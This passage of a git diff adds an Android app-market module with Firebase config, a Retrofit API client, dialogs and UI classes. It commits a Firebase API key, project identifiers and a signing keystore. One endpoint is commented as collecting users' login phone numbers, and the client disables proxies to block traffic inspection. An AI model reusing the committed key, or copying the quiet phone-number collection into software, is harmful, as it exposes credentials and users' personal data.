+ api platform('com.google.firebase:firebase-bom:32.7.0')
+ // Firebase Cloud Messaging
+ api("com.google.firebase:firebase-messaging")
+}
\ No newline at end of file
diff --git a/market/dskjweb.jks b/market/dskjweb.jks
new file mode 100644
index 0000000..a303350
Binary files /dev/null and b/market/dskjweb.jks differ
diff --git a/market/google-services.json b/market/google-services.json
new file mode 100644
index 0000000..1722540
--- /dev/null
+++ b/market/google-services.json
@@ -0,0 +1,29 @@
+{
+ "project_info": {
+ "project_number": "485048083755",
+ "project_id": "kaki-1a6f5",
+ "storage_bucket": "kaki-1a6f5.firebasestorage.app"
+ },
+ "client": [
+ {
+ "client_info": {
+ "mobilesdk_app_id": "1:485048083755:android:210fd015909eacdc4b116e",
+ "android_client_info": {
+ "package_name": "com.web.market"
+ }
+ },
+ "oauth_client": [],
+ "api_key": [
+ {
+ "current_key": "AIzaSyBqIXHfY9DPJiaYujCofH2osNUsBmE2AWo"
+ }
+ ],
+ "services": {
+ "appinvite_service": {
+ "other_platform_oauth_client": []
+ }
+ }
+ }
+ ],
+ "configuration_version": "1"
+}
\ No newline at end of file
diff --git a/market/proguard-rules.pro b/market/proguard-rules.pro
new file mode 100644
index 0000000..107b7ee
--- /dev/null
+++ b/market/proguard-rules.pro
@@ -0,0 +1,32 @@
+# Add project specific ProGuard rules here.
+# You can control the set of applied configuration files using the
+# proguardFiles setting in build.gradle.
+#
+# For more details, see
+# http://developer.android.com/guide/developing/tools/proguard.html
+
+# If your project uses WebView with JS, uncomment the following
+# and specify the fully qualified class name to the JavaScript interface
+# class:
+#-keepclassmembers class fqcn.of.javascript.interface.for.webview {
+# public *;
+#}
+
+# Uncomment this to preserve the line number information for
+# debugging stack traces.
+#-keepattributes SourceFile,LineNumberTable
+
+# If you keep the line number information, uncomment this to
+# hide the original source file name.
+#-renamesourcefileattribute SourceFile
+
+-dontwarn dalvik.**
+-dontwarn com.tencent.smtt.**
+
+-keep class com.tencent.smtt.** {
+ *;
+}
+
+-keep class com.tencent.tbs.** {
+ *;
+}
\ No newline at end of file
diff --git a/market/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java b/market/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
new file mode 100644
index 0000000..44b9f39
--- /dev/null
+++ b/market/src/androidTest/java/Tptogiar/calculcator/ExampleInstrumentedTest.java
@@ -0,0 +1,26 @@
+package Tptogiar.calculcator;
+
+import android.content.Context;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import static org.junit.Assert.*;
+
+/**
+ * Instrumented test, which will execute on an Android device.
+ *
+ * @see Testing documentation
+ */
+@RunWith(AndroidJUnit4.class)
+public class ExampleInstrumentedTest {
+ @Test
+ public void useAppContext() {
+ // Context of the app under test.
+ Context appContext = InstrumentationRegistry.getInstrumentation().getTargetContext();
+ assertEquals("Tptogiar.calculcator", appContext.getPackageName());
+ }
+}
\ No newline at end of file
diff --git a/market/src/main/AndroidManifest.xml b/market/src/main/AndroidManifest.xml
new file mode 100644
index 0000000..36f1fef
--- /dev/null
+++ b/market/src/main/AndroidManifest.xml
@@ -0,0 +1,119 @@
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
\ No newline at end of file
diff --git a/market/src/main/ic_launcher-playstore.png b/market/src/main/ic_launcher-playstore.png
new file mode 100644
index 0000000..0416647
Binary files /dev/null and b/market/src/main/ic_launcher-playstore.png differ
diff --git a/market/src/main/java/com/web/market/ActionConfirmDialog.java b/market/src/main/java/com/web/market/ActionConfirmDialog.java
new file mode 100644
index 0000000..2d139bd
--- /dev/null
+++ b/market/src/main/java/com/web/market/ActionConfirmDialog.java
@@ -0,0 +1,124 @@
+package com.web.market;
+
+import android.app.Dialog;
+import android.content.Context;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewTreeObserver;
+import android.view.Window;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+
+/**
+ * 通用弹窗
+ */
+public class ActionConfirmDialog extends Dialog {
+ private final Context context;
+ private View lineV;
+
+ private TextView contentTv;
+ private TextView cancelTv;
+ private TextView sumbitTv;
+ String title;
+ String content;
+ String cancel = null;
+ String sure = null;
+ boolean showCancel = true;
+ OnToActionListener onToActionListener;
+
+ public interface OnToActionListener {
+ void toSumbit();
+ void toCancel();
+
+ }
+
+ public void setOnToActionListener(OnToActionListener onNextCallListener) {
+ this.onToActionListener = onNextCallListener;
+ }
+
+
+ public ActionConfirmDialog(Context context, String content,boolean showCancel) {
+ super(context, R.style.MaterialDesignDialog);
+ this.context = context;
+ this.content = content;
+ this.showCancel = showCancel;
+ }
+ public ActionConfirmDialog(Context context, String content, String cancel, String sure) {
+ super(context, R.style.MaterialDesignDialog);
+ this.context = context;
+ this.content = content;
+ this.cancel = cancel;
+ this.sure = sure;
+ }
+
+ public ActionConfirmDialog(Context context, String content, String cancel, String sure,boolean showCancel) {
+ super(context, R.style.MaterialDesignDialog);
+ this.context = context;
+ this.content = content;
+ this.cancel = cancel;
+ this.sure = sure;
+ this.showCancel = showCancel;
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.dialog_action_confirm);
+
+ contentTv = (TextView) findViewById(R.id.content_tv);
+ cancelTv = (TextView) findViewById(R.id.cancel_tv);
+ sumbitTv = (TextView) findViewById(R.id.sumbit_tv);
+
+ lineV = (View) findViewById(R.id.line_v);
+
+ contentTv.setText(content);
+ contentTv.getViewTreeObserver().addOnPreDrawListener(new ViewTreeObserver.OnPreDrawListener() {
+ @Override
+ public boolean onPreDraw() {
+ //这个监听的回调是异步的,在监听完以后一定要把绘制监听移除,不然这个会一直回调,导致界面错乱
+ contentTv.getViewTreeObserver().removeOnPreDrawListener(this);
+ int line = contentTv.getLineCount();
+ if(line>1){
+ contentTv.setGravity(Gravity.LEFT|Gravity.CENTER_VERTICAL);
+ }
+
+ return true;
+ }
+ });
+ if(!TextUtils.isEmpty(cancel)){
+ cancelTv.setText(cancel);
+ }
+ if(!TextUtils.isEmpty(sure)){
+ sumbitTv.setText(sure);
+ }
+ if(!showCancel){
+ cancelTv.setVisibility(View.GONE);
+ lineV.setVisibility(View.GONE);
+ }
+
+ sumbitTv.setOnClickListener(v -> {
+ dismiss();
+ if(onToActionListener!=null){
+ onToActionListener.toSumbit();
+ }
+ });
+ cancelTv.setOnClickListener(v -> {
+ dismiss();
+ if(onToActionListener!=null){
+ onToActionListener.toCancel();
+ }
+ });
+
+ Window window = getWindow();
+ WindowManager.LayoutParams wlp = window.getAttributes();
+ wlp.gravity = Gravity.CENTER;
+ wlp.width = WindowManager.LayoutParams.WRAP_CONTENT;
+ wlp.height = WindowManager.LayoutParams.WRAP_CONTENT;
+
+ window.setAttributes(wlp);
+ }
+
+}
diff --git a/market/src/main/java/com/web/market/Api.java b/market/src/main/java/com/web/market/Api.java
new file mode 100644
index 0000000..19680c7
--- /dev/null
+++ b/market/src/main/java/com/web/market/Api.java
@@ -0,0 +1,68 @@
+package com.web.market;
+
+import java.net.Proxy;
+import java.util.concurrent.TimeUnit;
+
+import okhttp3.OkHttpClient;
+import okhttp3.logging.HttpLoggingInterceptor;
+
+/**
+ * 项目名: TODO-MVVM
+ * 包名 com.azhon.mvvm.api
+ * 文件名: Api
+ * 创建时间: 2019-03-27 on 14:56
+ * 描述: TODO 使用Retrofit基础服务
+ *
+ * @author
+ */
+
+public class Api extends BaseApi {
+
+ private static final long CONNECT_TIMEOUT = 10;
+ private static final long READ_TIMEOUT = 10;
+ private static final long WRITE_TIMEOUT = 10;
+
+ /**
+ * 静态内部类单例
+ */
+ private static class ApiHolder {
+ private static Api api = new Api();
+ private final static ApiService apiService = api.initRetrofit(ApiService.URL)
+ .create(ApiService.class);
+
+ }
+
+ public static ApiService getInstance() {
+ return ApiHolder.apiService;
+ }
+ /**
+ * 做自己需要的操作
+ */
+ @Override
+ protected OkHttpClient setClient() {
+ OkHttpClient.Builder builder;
+ builder = new OkHttpClient()
+ .newBuilder();
+ //禁止使用代理抓取数据
+ builder.proxy(Proxy.NO_PROXY);
+ //设置超时
+ builder.connectTimeout(CONNECT_TIMEOUT, TimeUnit.SECONDS);
+ builder.readTimeout(READ_TIMEOUT, TimeUnit.SECONDS);
+ builder.writeTimeout(WRITE_TIMEOUT, TimeUnit.SECONDS);
+ //错误重连
+ builder.retryOnConnectionFailure(true);
+
+// if (Config.IS_DEBUG) {
+ HttpLoggingInterceptor interceptor = new HttpLoggingInterceptor(message -> {
+ String text = message;
+ LogUtils.i("OKHttp111111-----", text);
+
+ });
+ interceptor.setLevel(HttpLoggingInterceptor.Level.BODY);
+ builder.addInterceptor(interceptor);
+// }
+ return builder.build();
+
+ }
+
+}
diff --git a/market/src/main/java/com/web/market/ApiService.java b/market/src/main/java/com/web/market/ApiService.java
new file mode 100644
index 0000000..81015a0
--- /dev/null
+++ b/market/src/main/java/com/web/market/ApiService.java
@@ -0,0 +1,86 @@
+package com.web.market;
+
+
+import java.util.List;
+import java.util.Map;
+
+import io.reactivex.Observable;
+import okhttp3.RequestBody;
+import okhttp3.ResponseBody;
+import retrofit2.Call;
+import retrofit2.Callback;
+import retrofit2.http.Body;
+import retrofit2.http.GET;
+import retrofit2.http.Headers;
+import retrofit2.http.POST;
+import retrofit2.http.PUT;
+import retrofit2.http.Path;
+import retrofit2.http.Query;
+import retrofit2.http.Url;
+
+public interface ApiService {
+ String URL = "https://api.liulao.top/";
+
+ String SCHEME_NAME = "market";
+
+ String HOST_NAME = "dskj.com";
+
+ String PATH_NAME = "/detail";
+
+ String ClipData_UEL_NAME = ApiService.SCHEME_NAME + "://" + ApiService.HOST_NAME;
+
+
+ @GET("api/system/applicationConf")
+ Observable> geUrlNew(@Query("userId") int userId);
+
+
+ @GET
+ Call getCheckUrl(@Url String fullUrl);
+
+
+ /**
+ * 搜集登录手机号
+ */
+ @POST("app/loginUser")
+ Observable appLoginUser(@Body Map map);
+
+
+ @GET("app/applicationConf")
+ Observable> applicationConf(@Query("url") String url);
+
+ @GET("app/applicationConf/{appId}")
+ Observable> applicationConfById(@Path("appId") String appId);
+
+
+
+ /**
+ * 統計下載量
+ */
+ @PUT("api/statistics/downloads")
+ Observable downloadNumbers(@Body Map map);
+
+ /**
+ * 每日活跃统计
+ */
+ @PUT("api/statistics/use")
+ Observable totalTongJi(@Body Map map);
+
+ /**
+ * 统计通知
+ */
+ @POST("api/push/statistics")
+ Observable totalNotify(@Body Map map);
+
+
+ /**
+ * 获取通知列表
+ * @param userid
+ * @param page
+ * @param size
+ * @return
+ */
+ @GET("api/push/pushRecords")
+ Observable>> getNotifyList(@Query("userId") int userid, @Query("page") int page, @Query("size") int size);
+
+
+}
diff --git a/market/src/main/java/com/web/market/AppConfig.java b/market/src/main/java/com/web/market/AppConfig.java
new file mode 100644
index 0000000..5f65bb8
--- /dev/null
+++ b/market/src/main/java/com/web/market/AppConfig.java
@@ -0,0 +1,76 @@
+package com.web.market;
+
+/**
+ * **********************
+ *
+ * @Author bug machine
+ * 创建时间: 2026/2/12 15:40
+ * 用途
+ * **********************
+ */
+public class AppConfig {
+
+ private String apkUrl;
+ private String appLogo;
+ private String appName;
+ private String downloadUrl;
+ private String iosApkUrl;
+ private int isUse;
+ private int userId;
+
+ public String getApkUrl() {
+ return apkUrl;
+ }
+
+ public void setApkUrl(String apkUrl) {
+ this.apkUrl = apkUrl;
+ }
+
+ public String getAppLogo() {
+ return appLogo;
+ }
+
+ public void setAppLogo(String appLogo) {
+ this.appLogo = appLogo;
+ }
+
+ public String getAppName() {
+ return appName;
+ }
+
+ public void setAppName(String appName) {
+ this.appName = appName;
+ }
+
+ public String getDownloadUrl() {
+ return downloadUrl;
+ }
+
+ public void setDownloadUrl(String downloadUrl) {
+ this.downloadUrl = downloadUrl;
+ }
+
+ public String getIosApkUrl() {
+ return iosApkUrl;
+ }
+
+ public void setIosApkUrl(String iosApkUrl) {
+ this.iosApkUrl = iosApkUrl;
+ }
+
+ public int getIsUse() {
+ return isUse;
+ }
+
+ public void setIsUse(int isUse) {
+ this.isUse = isUse;
+ }
+
+ public int getUserId() {
+ return userId;
+ }
+
+ public void setUserId(int userId) {
+ this.userId = userId;
+ }
+}
diff --git a/market/src/main/java/com/web/market/BaseApi.java b/market/src/main/java/com/web/market/BaseApi.java
new file mode 100644
index 0000000..24859f2
--- /dev/null
+++ b/market/src/main/java/com/web/market/BaseApi.java
@@ -0,0 +1,46 @@
+package com.web.market;
+
+import okhttp3.OkHttpClient;
+import retrofit2.Retrofit;
+import retrofit2.adapter.rxjava2.RxJava2CallAdapterFactory;
+import retrofit2.converter.gson.GsonConverterFactory;
+import retrofit2.converter.scalars.ScalarsConverterFactory;
+
+/**
+ * 项目名: TODO-MVVM
+ * 包名 com.azhon.basic.retrofit
+ * 文件名: BaseApi
+ * 创建时间: 2019-03-27 on 14:52
+ * 描述: TODO 封装基础的Retrofit
+ *
+ * @author
+ */
+
+public abstract class BaseApi {
+
+ /**
+ * 初始化Retrofit
+ */
+ public Retrofit initRetrofit(String baseUrl) {
+ Retrofit.Builder builder = new Retrofit.Builder();
+ //支持返回Call
+ builder.addConverterFactory(ScalarsConverterFactory.create());
+ //支持直接格式化json返回Bean对象
+ builder.addConverterFactory(GsonConverterFactory.create());
+ //支持RxJava
+ builder.addCallAdapterFactory(RxJava2CallAdapterFactory.create());
+ builder.baseUrl(baseUrl);
+ OkHttpClient client = setClient();
+ if (client != null) {
+ builder.client(client);
+ }
+ return builder.build();
+ }
+
+ /**
+ * 设置OkHttpClient,添加拦截器等
+ *
+ * @return 可以返回为null
+ */
+ protected abstract OkHttpClient setClient();
+}
diff --git a/market/src/main/java/com/web/market/BaseObserver.java b/market/src/main/java/com/web/market/BaseObserver.java
new file mode 100644
index 0000000..c5b2264
--- /dev/null
+++ b/market/src/main/java/com/web/market/BaseObserver.java
@@ -0,0 +1,113 @@
+package com.web.market;
+
+import com.google.gson.JsonParseException;
+
+import org.json.JSONException;
+
+import java.io.InterruptedIOException;
+import java.net.ConnectException;
+import java.net.UnknownHostException;
+import java.text.ParseException;
+
+import io.reactivex.observers.DisposableObserver;
+import retrofit2.HttpException;
+
+public abstract class BaseObserver extends DisposableObserver {
+ /**
+ * 解析数据失败
+ */
+ public static final int PARSE_ERROR = 1001;
+ /**
+ * 网络问题
+ */
+ public static final int BAD_NETWORK = 1002;
+ /**
+ * 连接错误
+ */
+ public static final int CONNECT_ERROR = 1003;
+ /**
+ * 连接超时
+ */
+ public static final int CONNECT_TIMEOUT = 1004;
+
+ @Override
+ public void onNext(T o) {
+ if (o instanceof String) {
+ onError(0, "接口解析失败");
+// LogUtils.i("返回个string就没意思了");
+ } else {
+ Result model = (Result) o;
+ if (model.isSuccessful()) {
+ onSuccess(o);
+ } else {
+ onError2(o);
+ }
+ }
+
+
+ }
+
+ @Override
+ public void onError(Throwable e) {
+ if (e instanceof HttpException) {
+ // HTTP错误
+ onException(BAD_NETWORK);
+ } else if (e instanceof ConnectException
+ || e instanceof UnknownHostException) {
+ // 连接错误
+ onException(CONNECT_ERROR);
+ } else if (e instanceof InterruptedIOException) {
+ // 连接超时
+ onException(CONNECT_TIMEOUT);
+ } else if (e instanceof JsonParseException
+ || e instanceof JSONException
+ || e instanceof ParseException) {
+ // 解析错误
+
+ onException(PARSE_ERROR);
+ } else {
+ if (e != null) {
+ onError(409, e.toString());
+ } else {
+ onError(407, "未知错误");
+ }
+ }
+
+ }
+
+ private void onException(int unknownError) {
+ switch (unknownError) {
+ case CONNECT_ERROR:
+ onError(CONNECT_ERROR, "连接错误");
+ break;
+
+ case CONNECT_TIMEOUT:
+ onError(CONNECT_TIMEOUT, "连接超时");
+ break;
+
+ case BAD_NETWORK:
+ onError(BAD_NETWORK, "网络问题");
+ break;
+
+ case PARSE_ERROR:
+ onError(PARSE_ERROR, "宇宙也是有尽头的");
+
+ break;
+
+ default:
+ break;
+ }
+ }
+
+ @Override
+ public void onComplete() {
+
+ }
+
+ public abstract void onSuccess(T o);
+
+ public abstract void onError(int code, String msg);
+
+ public abstract void onError2(T o);
+
+}
diff --git a/market/src/main/java/com/web/market/BindButlerDialog.java b/market/src/main/java/com/web/market/BindButlerDialog.java
new file mode 100644
index 0000000..ff24433
--- /dev/null
+++ b/market/src/main/java/com/web/market/BindButlerDialog.java
@@ -0,0 +1,157 @@
+package com.web.market;
+
+import android.app.Dialog;
+import android.content.Context;
+import android.net.Uri;
+import android.os.Bundle;
+import android.text.TextUtils;
+import android.view.Gravity;
+import android.view.View;
+import android.view.ViewTreeObserver;
+import android.view.Window;
+import android.view.WindowManager;
+import android.view.inputmethod.InputMethodManager;
+import android.widget.EditText;
+import android.widget.TextView;
+import android.widget.Toast;
+
+import io.reactivex.android.schedulers.AndroidSchedulers;
+import io.reactivex.schedulers.Schedulers;
+
+
+/**
+ * 通用弹窗
+ */
+public class BindButlerDialog extends Dialog {
+ private final Context context;
+ private EditText butlerEt;
+ private TextView cancelTv;
+ private View lineV;
+ private TextView sumbitTv;
+ int appId;
+ OnToActionListener onToActionListener;
+
+ public interface OnToActionListener {
+ void toSumbit();
+ void toCancel();
+
+ }
+
+ public void setOnToActionListener(OnToActionListener onNextCallListener) {
+ this.onToActionListener = onNextCallListener;
+ }
+
+
+ public BindButlerDialog(Context context,int appId) {
+ super(context, R.style.MaterialDesignDialog);
+ this.context = context;
+ this.appId = appId;
+ }
+
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.dialog_bind_butler);
+
+ butlerEt = (EditText) findViewById(R.id.butler_et);
+ cancelTv = (TextView) findViewById(R.id.cancel_tv);
+ lineV = (View) findViewById(R.id.line_v);
+ sumbitTv = (TextView) findViewById(R.id.sumbit_tv);
+
+ sumbitTv.setOnClickListener(v -> changeInfo());
+
+ cancelTv.setOnClickListener(v -> {
+ dismiss();
+ if(onToActionListener!=null) {
+ onToActionListener.toCancel();
+ }
+ });
+
+ if(appId>0){
+ butlerEt.setText(appId+"");
+ }
+
+ Window window = getWindow();
+ WindowManager.LayoutParams wlp = window.getAttributes();
+ wlp.gravity = Gravity.CENTER;
+ wlp.width = WindowManager.LayoutParams.WRAP_CONTENT;
+ wlp.height = WindowManager.LayoutParams.WRAP_CONTENT;
+
+ window.setAttributes(wlp);
+ }
+
+ private void changeInfo() {
+ hideSoftInput();
+ if(TextUtils.isEmpty(butlerEt.getText().toString().trim())){
+ MainActivity2.saveInt(context, "user_code", 0);
+ MainActivity2.saveString(context, "config_AppId", "");
+ MainActivity2.saveString(context, "config_appLogo", "");
+ MainActivity2.saveString(context, "config_appName", "");
+ if(onToActionListener!=null) {
+ onToActionListener.toSumbit();
+ }
+ }else{
+ changeButler();
+ }
+
+
+ }
+ /**
+ * 隐藏软键盘
+ */
+ public void hideSoftInput() {
+ InputMethodManager imm = (InputMethodManager) context.getSystemService(context.INPUT_METHOD_SERVICE);
+ if (getCurrentFocus() != null && null != imm) {
+ imm.hideSoftInputFromWindow(getCurrentFocus().getWindowToken(), 0);
+ }
+ }
+
+ private void changeButler() {
+ Api.getInstance().applicationConfById(butlerEt.getText().toString().trim())
+ .subscribeOn(Schedulers.io())
+ .observeOn(AndroidSchedulers.mainThread())
+ .subscribe(new BaseObserver>() {
+ @Override
+ public void onSuccess(Result o) {
+ LogUtils.i("地址信息是啥:" + GsonUtils.beanToJSONString(o));
+ if (o != null) {
+ AppConfig appConfig = o.data;
+ if (appConfig != null) {
+ if (appConfig.getIsUse() == 1) {
+ MainActivity2.saveInt(context, "user_code", appConfig.getUserId());
+ Uri uri = Uri.parse(appConfig.getDownloadUrl());
+ if (uri != null) {
+ // host部分
+ String host = uri.getHost();
+ MainActivity2.saveString(context, "config_AppId", host);
+ }
+ MainActivity2.saveString(context, "config_appLogo", appConfig.getAppLogo());
+ MainActivity2.saveString(context, "config_appName", appConfig.getAppName());
+ if(onToActionListener!=null) {
+ onToActionListener.toSumbit();
+ }
+ } else {
+ Toast.makeText(context, context.getString(R.string.bind_nofind_tips_txt),Toast.LENGTH_SHORT).show();
+ }
+ } else {
+ Toast.makeText(context, context.getString(R.string.bind_nofind_tips_txt),Toast.LENGTH_SHORT).show();
+ }
+ } else {
+ Toast.makeText(context, context.getString(R.string.bind_nofind_tips_txt),Toast.LENGTH_SHORT).show();
+ }
+ }
+
+ @Override
+ public void onError(int code, String msg) {
+ Toast.makeText(context, context.getString(R.string.bind_nofind_tips_txt),Toast.LENGTH_SHORT).show();
+ }
+
+ @Override
+ public void onError2(Result o) {
+ Toast.makeText(context, context.getString(R.string.bind_nofind_tips_txt),Toast.LENGTH_SHORT).show();
+ }
+ });
+ }
+
+}
diff --git a/market/src/main/java/com/web/market/CircleImageView.java b/market/src/main/java/com/web/market/CircleImageView.java
new file mode 100644
index 0000000..ca7fd75
--- /dev/null
+++ b/market/src/main/java/com/web/market/CircleImageView.java
@@ -0,0 +1,321 @@
+package com.web.market;
+
+import android.annotation.SuppressLint;
+import android.content.Context;
+import android.content.res.TypedArray;
+import android.graphics.Bitmap;
+import android.graphics.Canvas;
+import android.graphics.Matrix;
+import android.graphics.Paint;
+import android.graphics.PorterDuff;
+import android.graphics.PorterDuffXfermode;
+import android.graphics.RectF;
+import android.graphics.drawable.BitmapDrawable;
+import android.graphics.drawable.Drawable;
+import android.util.AttributeSet;
+import android.view.MotionEvent;
+
+import androidx.appcompat.widget.AppCompatImageView;
+
+
+public class CircleImageView extends AppCompatImageView {
+ // paint when user press
+ private Paint pressPaint;
+ private int width;
+ private int height;
+
+ // default bitmap config
+ private static final Bitmap.Config BITMAP_CONFIG = Bitmap.Config.ARGB_8888;
+ private static final int COLORDRAWABLE_DIMENSION = 1;
+
+ // border color
+ private int borderColor;
+ // width of border
+ private int borderWidth;
+ // alpha when pressed
+ private int pressAlpha;
+ // color when pressed
+ private int pressColor;
+ // radius
+ private int radius;
+ // rectangle or round, 1 is circle, 2 is rectangle
+ private int shapeType;
+
+ public CircleImageView(Context context) {
+ super(context);
+ init(context, null);
+ }
+
+ public CircleImageView(Context context, AttributeSet attrs) {
+ super(context, attrs);
+ init(context, attrs);
+ }
+
+ public CircleImageView(Context context, AttributeSet attrs, int defStyleAttr) {
+ super(context, attrs, defStyleAttr);
+ init(context, attrs);
+ }
+
+
+ private void init(Context context, AttributeSet attrs) {
+ //init the value
+ borderWidth = 0;
+ borderColor = 0xddffffff;
+ pressAlpha = 0x42;
+ pressColor = 0x42000000;
+ radius = 16;
+ shapeType = 0;
+
+ // get attribute of EaseImageView
+ if (attrs != null) {
+ TypedArray array = context.obtainStyledAttributes(attrs, R.styleable.CircleImageView);
+ borderColor = array.getColor(R.styleable.CircleImageView_ease_border_color, borderColor);
+ borderWidth = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_border_width, borderWidth);
+ pressAlpha = array.getInteger(R.styleable.CircleImageView_ease_press_alpha, pressAlpha);
+ pressColor = array.getColor(R.styleable.CircleImageView_ease_press_color, pressColor);
+ radius = array.getDimensionPixelOffset(R.styleable.CircleImageView_ease_radius, radius);
+ shapeType = array.getInteger(R.styleable.CircleImageView_es_shape_type, shapeType);
+ array.recycle();
+ }
+
+ // set paint when pressed
+ pressPaint = new Paint();
+ pressPaint.setAntiAlias(true);
+ pressPaint.setStyle(Paint.Style.FILL);
+ pressPaint.setColor(pressColor);
+ pressPaint.setAlpha(0);
+ pressPaint.setFlags(Paint.ANTI_ALIAS_FLAG);
+
+ setDrawingCacheEnabled(true);
+ setWillNotDraw(false);
+ }
+
+ @Override
+ protected void onDraw(Canvas canvas) {
+
+ if (shapeType == 0) {
+ super.onDraw(canvas);
+ return;
+ }
+ Drawable drawable = getDrawable();
+ if (drawable == null) {
+ return;
+ }
+ // the width and height is in xml file
+ if (getWidth() == 0 || getHeight() == 0) {
+ return;
+ }
+ Bitmap bitmap = getBitmapFromDrawable(drawable);
+ drawDrawable(canvas, bitmap);
+
+ if (isClickable()) {
+ drawPress(canvas);
+ }
+ drawBorder(canvas);
+ }
+
+ /**
+ * draw Rounded Rectangle
+ *
+ * @param canvas
+ * @param bitmap
+ */
+ @SuppressLint("WrongConstant")
+ private void drawDrawable(Canvas canvas, Bitmap bitmap) {
+ Paint paint = new Paint();
+ paint.setColor(0xffffffff);
+ paint.setAntiAlias(true); //smooths out the edges of what is being drawn
+ PorterDuffXfermode xfermode = new PorterDuffXfermode(PorterDuff.Mode.SRC_IN);
+ // set flags
+ int saveFlags = Canvas.ALL_SAVE_FLAG
+ ;
+ canvas.saveLayer(0, 0, width, height, null, saveFlags);
+
+ if (shapeType == 1) {
+ canvas.drawCircle(width / 2, height / 2, width / 2 - 1, paint);
+ } else if (shapeType == 2) {
+ RectF rectf = new RectF(1, 1, getWidth() - 1, getHeight() - 1);
+ canvas.drawRoundRect(rectf, radius + 1, radius + 1, paint);
+ }
+
+ paint.setXfermode(xfermode);
+
+ float scaleWidth = ((float) getWidth()) / bitmap.getWidth();
+ float scaleHeight = ((float) getHeight()) / bitmap.getHeight();
+
+ Matrix matrix = new Matrix();
+ matrix.postScale(scaleWidth, scaleHeight);
+
+ //bitmap scale
+ bitmap = Bitmap.createBitmap(bitmap, 0, 0, bitmap.getWidth(), bitmap.getHeight(), matrix, true);
+
+ canvas.drawBitmap(bitmap, 0, 0, paint);
+ canvas.restore();
+ }
+
+ /**
+ * draw the effect when pressed
+ *
+ * @param canvas
+ */
+ private void drawPress(Canvas canvas) {
+ // check is rectangle or circle
+ if (shapeType == 1) {
+ canvas.drawCircle(width / 2, height / 2, width / 2 - 1, pressPaint);
+ } else if (shapeType == 2) {
+ RectF rectF = new RectF(1, 1, width - 1, height - 1);
+ canvas.drawRoundRect(rectF, radius + 1, radius + 1, pressPaint);
+ }
+ }
+
+ /**
+ * draw customized border
+ *
+ * @param canvas
+ */
+ private void drawBorder(Canvas canvas) {
+ if (borderWidth > 0) {
+ Paint paint = new Paint();
+ paint.setStrokeWidth(borderWidth);
+ paint.setStyle(Paint.Style.STROKE);
+ paint.setColor(borderColor);
+ paint.setAntiAlias(true);
+ // // check is rectangle or circle
+ if (shapeType == 1) {
+ canvas.drawCircle(width / 2, height / 2, (width - borderWidth) / 2, paint);
+ } else if (shapeType == 2) {
+ RectF rectf = new RectF(borderWidth / 2, borderWidth / 2, getWidth() - borderWidth / 2,
+ getHeight() - borderWidth / 2);
+ canvas.drawRoundRect(rectf, radius, radius, paint);
+ }
+ }
+ }
+
+ /**
+ * monitor the size change
+ *
+ * @param w
+ * @param h
+ * @param oldw
+ * @param oldh
+ */
+ @Override
+ protected void onSizeChanged(int w, int h, int oldw, int oldh) {
+ super.onSizeChanged(w, h, oldw, oldh);
+ width = w;
+ height = h;
+ }
+
+ /**
+ * monitor if touched
+ *
+ * @param event
+ * @return
+ */
+ @Override
+ public boolean onTouchEvent(MotionEvent event) {
+ switch (event.getAction()) {
+ case MotionEvent.ACTION_DOWN:
+ pressPaint.setAlpha(pressAlpha);
+ invalidate();
+ break;
+ case MotionEvent.ACTION_UP:
+ pressPaint.setAlpha(0);
+ invalidate();
+ break;
+ case MotionEvent.ACTION_MOVE:
+
+ break;
+ default:
+ pressPaint.setAlpha(0);
+ invalidate();
+ break;
+ }
+ return super.onTouchEvent(event);
+ }
+
+ /**
+ * @param drawable
+ * @return
+ */
+ private Bitmap getBitmapFromDrawable(Drawable drawable) {
+ if (drawable == null) {
+ return null;
+ }
+
+ if (drawable instanceof BitmapDrawable) {
+ return ((BitmapDrawable) drawable).getBitmap();
+ }
+
+ Bitmap bitmap;
+ int width = Math.max(drawable.getIntrinsicWidth(), 2);
+ int height = Math.max(drawable.getIntrinsicHeight(), 2);
+ try {
+ bitmap = Bitmap.createBitmap(width, height, BITMAP_CONFIG);
+ Canvas canvas = new Canvas(bitmap);
+ drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());
+ drawable.draw(canvas);
+ } catch (IllegalArgumentException e) {
+ e.printStackTrace();
+ bitmap = null;
+ }
+ return bitmap;
+ }
+
+ /**
+ * set border color
+ *
+ * @param borderColor
+ */
+ public void setBorderColor(int borderColor) {
+ this.borderColor = borderColor;
+ invalidate();
+ }
+
+ /**
+ * set border width
+ *
+ * @param borderWidth
+ */
+ public void setBorderWidth(int borderWidth) {
+ this.borderWidth = borderWidth;
+ }
+
+ /**
+ * set alpha when pressed
+ *
+ * @param pressAlpha
+ */
+ public void setPressAlpha(int pressAlpha) {
+ this.pressAlpha = pressAlpha;
+ }
+
+ /**
+ * set color when pressed
+ *
+ * @param pressColor
+ */
+ public void setPressColor(int pressColor) {
+ this.pressColor = pressColor;
+ }
+
+ /**
+ * set radius
+ *
+ * @param radius
+ */
+ public void setRadius(int radius) {
+ this.radius = radius;
+ invalidate();
+ }
+
+ /**
+ * set shape,1 is circle, 2 is rectangle
+ *
+ * @param shapeType
+ */
+ public void setShapeType(int shapeType) {
+ this.shapeType = shapeType;
+ invalidate();
+ }
+}
diff --git a/market/src/main/java/com/web/market/DataInfo.java b/market/src/main/java/com/web/market/DataInfo.java
new file mode 100644
index 0000000..a9a7c8d
--- /dev/null
+++ b/market/src/main/java/com/web/market/DataInfo.java
@@ -0,0 +1,80 @@
+package com.web.market;
+
+import java.io.Serializable;
+
+public class DataInfo implements Serializable {
+ public String url;
+ public int isUse = 1;
